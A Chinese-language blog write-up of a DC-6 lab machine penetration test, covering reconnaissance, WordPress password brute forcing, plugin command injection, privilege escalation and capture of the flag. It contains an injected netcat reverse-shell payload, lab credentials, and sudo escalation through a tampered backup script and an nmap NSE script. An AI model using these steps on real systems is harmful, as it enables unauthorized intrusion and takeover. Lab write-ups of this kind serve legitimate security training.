DC-6靶机,内网渗透,提权,横向移动以及信息收集

DC-6靶机,内网渗透,提权,横向移动以及信息收集
28.7的博客DC-6靶机渗透测试报告
回顾
靶机安装
1. 信息收集
1.1 ARP-IP探测(确定靶机IP)
由于靶机部署在pnet网段,通过arp-scan扫描局域网设备,快速定位DC6靶机IP。
执行命令:
1 | arp-scan -l |
结果:靶机IP确认为 192.168.173.129
(图1:arp-scan扫描结果,明确DC6靶机IP)
1.2 Nmap端口与系统探测
通过Nmap探测靶机开放端口、操作系统版本及服务信息,明确攻击入口。
1.2.1 基础端口探测
执行命令:
1 | nmap 192.168.173.129 |
结果:仅开放80端口(HTTP服务)
(图2:Nmap基础端口扫描结果,80端口开放)
1.2.2 系统与服务版本探测
执行命令:
1 | nmap -sV 192.168.173.129 |
结果:确认HTTP服务对应Apache,未直接暴露操作系统版本
(图3:Nmap -sV扫描结果,获取服务版本信息)
2. Web应用分析与漏洞利用
2.1 访问Web界面与Hosts配置
直接通过IP(192.168.173.129)访问Web界面报错,推测需绑定域名。
2.1.1 配置Hosts文件
修改本地Hosts文件(路径:C:\Windows\System32\drivers\etc\hosts),添加映射:
1 | 192.168.173.129 wordy |
2.1.2 验证Web服务
访问http://wordy,确认页面正常加载,且通过Wappalyzer插件识别为WordPress框架
(图4:配置Hosts后成功访问Web界面)
(图5:Wappalyzer确认WordPress框架)
2.2 目录扫描与登录界面定位
使用御剑目录扫描工具,发现WordPress默认登录界面:http://wordy/wp-login.php
(图6:御剑扫描结果,定位wp-login.php登录页)
2.3 WordPress用户爆破(wpscan)
2.3.1 枚举潜在用户名
通过wpscan枚举WordPress后台用户,保存结果到UserDc6文件。
执行命令:
1 | wpscan --url http://wordy/ -e # -e 枚举用户、插件、主题等信息 |
(图7:wpscan枚举到的潜在用户名)
2.3.2 密码爆破
使用Kali自带字典rockyou.txt(需先解压:gunzip -k /usr/share/wordlists/rockyou.txt.gz),对枚举的用户名进行爆破,耗时约10分钟。
执行命令:
1 | wpscan --url http://wordy/ -P /usr/share/wordlists/rockyou.txt -U UserDc6 |
爆破结果:用户名=mark,密码=helpdesk01
2.4 命令执行漏洞利用(堆叠命令)
2.4.1 发现漏洞点
使用mark/helpdesk01登录WordPress后台,在Slider模块的Activity Monitor组件中,发现存在数据回传后端的功能,推测可注入堆叠命令。
(图8:Activity Monitor组件的命令注入点)
2.4.2 验证命令执行
抓包修改请求参数,注入whoami命令,成功返回当前用户(www-data),确认命令执行漏洞。
2.5 反弹Shell(NC监听)
2.5.1 本地监听端口
在Kali攻击机上监听6666端口,用于接收反弹的Shell。
执行命令:
1 | nc -lvp 6666 # -l:监听模式,-v:详细输出,-p:指定端口 |
(图9:Kali监听6666端口)
2.5.2 执行反弹命令
抓包注入NC反弹Shell命令,将靶机的/bin/bash反弹到Kali的192.168.173.130:6666。
注入命令:
1 | baidu.com || nc -e /bin/bash 192.168.173.130 6666 |
(图10:抓包注入反弹Shell命令)
2.5.3 补全交互式终端
反弹Shell成功后,通过Python补全交互式终端,方便后续操作。
执行命令:
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
(图11:补全交互式终端)
3. 权限提升
3.1 横向移动(mark → graham)
在/home/mark/stuff/things-to-do.txt文件中,发现graham用户的密码:
1 | graham - GSo7isUM1D4 |
通过SSH登录graham用户(或直接在反弹Shell中切换:su graham,输入密码GSo7isUM1D4)。
3.2 横向移动(graham → jens)
3.2.1 发现提权线索
在graham用户目录下无关键信息,但发现/home/jens/目录下存在backups.sh脚本,内容为:
1 |
|
3.2.2 检查sudo权限
执行sudo -l查看graham的sudo配置,发现可免密以jens用户身份执行backups.sh脚本:
1 | sudo -u jens ./backups.sh # 无需输入密码 |
(图12:graham的sudo权限配置)
3.2.3 篡改脚本提权
在backups.sh末尾添加/bin/bash(执行脚本时将生成jens权限的Shell):
1 | echo "/bin/bash" >> /home/jens/backups.sh |
执行脚本,切换为jens用户:
1 | sudo -u jens ./backups.sh |
(图13:执行脚本切换为jens用户)
3.3 纵向提权(jens → root)
3.3.1 发现nmap提权漏洞
jens用户执行sudo -l,发现可免密执行nmap的NSE脚本(nmap的NSE脚本支持执行系统命令)。
3.3.2 编写NSE提权脚本
创建getshell.nse脚本,通过os.execute调用/bin/sh获取root权限:
1 | echo 'os.execute("/bin/sh")' > getshell.nse |
(图14:创建NSE提权脚本)
3.3.3 执行脚本获取root
通过sudo执行nmap,加载自定义NSE脚本,获取root权限:
1 | sudo nmap --script=getshell.nse |
4. 获取Flag
root权限下,在/root/目录找到theflag.txt,内容如下:
1 | # cat /root/theflag.txt |















